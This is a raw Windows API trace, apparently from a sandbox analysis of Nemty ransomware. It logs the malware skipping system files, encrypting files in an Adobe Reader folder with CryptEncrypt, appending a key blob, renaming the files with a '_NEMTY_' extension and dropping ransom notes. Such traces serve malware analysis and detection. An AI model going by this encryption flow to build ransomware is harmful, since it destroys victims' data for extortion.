SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.861] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6000, lpOverlapped=0x0) returned 1 [0175.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.861] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=24576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6000 [0175.861] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.861] CloseHandle (hObject=0x2e8) returned 1 [0175.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0175.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0175.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0175.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.861] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Search.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\search.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Search.ESP._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\search.esp._nemty_kgobjgd_")) returned 1 [0175.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0175.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0175.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0175.862] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SendMail.ESP", cAlternateFileName="")) returned 1 [0175.862] lstrcmpiW (lpString1="SendMail.ESP", lpString2=".") returned 1 [0175.862] lstrcmpiW (lpString1="SendMail.ESP", lpString2="..") returned 1 [0175.862] lstrcmpiW (lpString1="SendMail.ESP", lpString2="...") returned 1 [0175.862] lstrcmpiW (lpString1="SendMail.ESP", lpString2="windows") returned -1 [0175.862] lstrcmpiW (lpString1="SendMail.ESP", lpString2="$RECYCLE.BIN") returned 1 [0175.862] lstrcmpiW (lpString1="SendMail.ESP", lpString2="rsa") returned 1 [0175.862] lstrcmpiW (lpString1="SendMail.ESP", lpString2="NTDETECT.COM") returned 1 [0175.862] lstrcmpiW (lpString1="SendMail.ESP", lpString2="ntldr") returned 1 [0175.862] lstrcmpiW (lpString1="SendMail.ESP", lpString2="MSDOS.SYS") returned 1 [0175.862] lstrcmpiW (lpString1="SendMail.ESP", lpString2="IO.SYS") returned 1 [0175.862] lstrcmpiW (lpString1="SendMail.ESP", lpString2="boot.ini") returned 1 [0175.862] lstrcmpiW (lpString1="SendMail.ESP", lpString2="boot.ini") returned 1 [0175.862] lstrcmpiW (lpString1="SendMail.ESP", lpString2="AUTOEXEC.BAT") returned 1 [0175.862] lstrcmpiW (lpString1="SendMail.ESP", lpString2="ntuser.dat") returned 1 [0175.862] lstrcmpiW (lpString1="SendMail.ESP", lpString2="desktop.ini") returned 1 [0175.862] lstrcmpiW (lpString1="SendMail.ESP", lpString2="CONFIG.SYS") returned 1 [0175.862] lstrcmpiW (lpString1="SendMail.ESP", lpString2="RECYCLER") returned 1 [0175.863] lstrcmpiW (lpString1="SendMail.ESP", lpString2="BOOTSECT.BAK") returned 1 [0175.863] lstrcmpiW (lpString1="SendMail.ESP", lpString2="bootmgr") returned 1 [0175.863] lstrcmpiW (lpString1="SendMail.ESP", lpString2="programdata") returned 1 [0175.863] lstrcmpiW (lpString1="SendMail.ESP", lpString2="appdata") returned 1 [0175.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.ESP", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.ESP", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.ESP", lpUsedDefaultChar=0x0) returned 12 [0175.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.ESP", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.ESP", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.ESP", lpUsedDefaultChar=0x0) returned 12 [0175.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.ESP", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.ESP", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.ESP", lpUsedDefaultChar=0x0) returned 12 [0175.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.ESP", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.ESP", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.ESP", lpUsedDefaultChar=0x0) returned 12 [0175.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0175.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0175.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0175.863] Sleep (dwMilliseconds=0x5) [0175.872] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c799270, dwHighDateTime=0x1d561e8)) [0175.872] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c799270, dwHighDateTime=0x1d561e8)) [0175.872] GetLastError () returned 0x0 [0175.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.872] GetLastError () returned 0x0 [0175.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.873] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.873] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.873] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0175.873] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="9t59fkMauD7veX/WiKWx2jDGVFshGzrj7gjQw8XraWjN5pEWkfP+ftoWfCdapArp\r\nvDtQRo8iGWQ9XckmGf2noYFVyV1FDUWY356XwnNRBqITZSQJNSYONWNcusEuEQZo\r\nwJqcB5W21zPGubfzWz/emlIkC8UeXRJ4Kdj58Z+hJeO0zv0qhv9rsOTT9ypBj2et\r\nQBoLcLYaQjZjBlUJrHmfpWy5xlKh952otmD/FotCq5xnXBnq4keNBbY7/cH/vOqD\r\nThr99EltdbTlq4rER5BYapjo3yj1ciG9/gJG8Jz6S01L80s9ONzmr2yW7IL4AajE\r\nmuHcjHlOyqqMJKF/e92jYA==\r\n", pcchString=0x653e5dc) returned 1 [0175.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0175.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.873] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\SendMail.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\sendmail.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.873] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=16384) returned 1 [0175.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4000) returned 0x6352c48 [0175.873] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.873] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4000, lpOverlapped=0x0) returned 1 [0175.876] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.876] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4000, lpOverlapped=0x0) returned 1 [0175.876] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.876] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=16384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4000 [0175.876] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.876] CloseHandle (hObject=0x2e8) returned 1 [0175.876] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0175.876] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.876] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.876] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.876] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.876] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0175.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0175.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0175.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.877] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\SendMail.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\sendmail.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\SendMail.ESP._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\sendmail.esp._nemty_kgobjgd_")) returned 1 [0175.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0175.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0175.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.877] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Services", cAlternateFileName="")) returned 1 [0175.877] lstrcmpiW (lpString1="Services", lpString2=".") returned 1 [0175.877] lstrcmpiW (lpString1="Services", lpString2="..") returned 1 [0175.878] lstrcmpiW (lpString1="Services", lpString2="...") returned 1 [0175.878] lstrcmpiW (lpString1="Services", lpString2="windows") returned -1 [0175.878] lstrcmpiW (lpString1="Services", lpString2="$RECYCLE.BIN") returned 1 [0175.878] lstrcmpiW (lpString1="Services", lpString2="rsa") returned 1 [0175.878] lstrcmpiW (lpString1="Services", lpString2="NTDETECT.COM") returned 1 [0175.878] lstrcmpiW (lpString1="Services", lpString2="ntldr") returned 1 [0175.878] lstrcmpiW (lpString1="Services", lpString2="MSDOS.SYS") returned 1 [0175.878] lstrcmpiW (lpString1="Services", lpString2="IO.SYS") returned 1 [0175.878] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0175.878] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0175.878] lstrcmpiW (lpString1="Services", lpString2="AUTOEXEC.BAT") returned 1 [0175.878] lstrcmpiW (lpString1="Services", lpString2="ntuser.dat") returned 1 [0175.878] lstrcmpiW (lpString1="Services", lpString2="desktop.ini") returned 1 [0175.878] lstrcmpiW (lpString1="Services", lpString2="CONFIG.SYS") returned 1 [0175.878] lstrcmpiW (lpString1="Services", lpString2="RECYCLER") returned 1 [0175.878] lstrcmpiW (lpString1="Services", lpString2="BOOTSECT.BAK") returned 1 [0175.878] lstrcmpiW (lpString1="Services", lpString2="bootmgr") returned 1 [0175.878] lstrcmpiW (lpString1="Services", lpString2="programdata") returned 1 [0175.878] lstrcmpiW (lpString1="Services", lpString2="appdata") returned 1 [0175.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0175.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0175.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0175.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0175.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0175.878] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.879] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0175.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0175.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.879] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.880] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.880] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0175.881] CloseHandle (hObject=0x2e8) returned 1 [0175.881] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0175.881] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0175.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0175.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0175.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0175.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0175.881] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.882] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0175.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0175.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.882] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.882] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.882] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 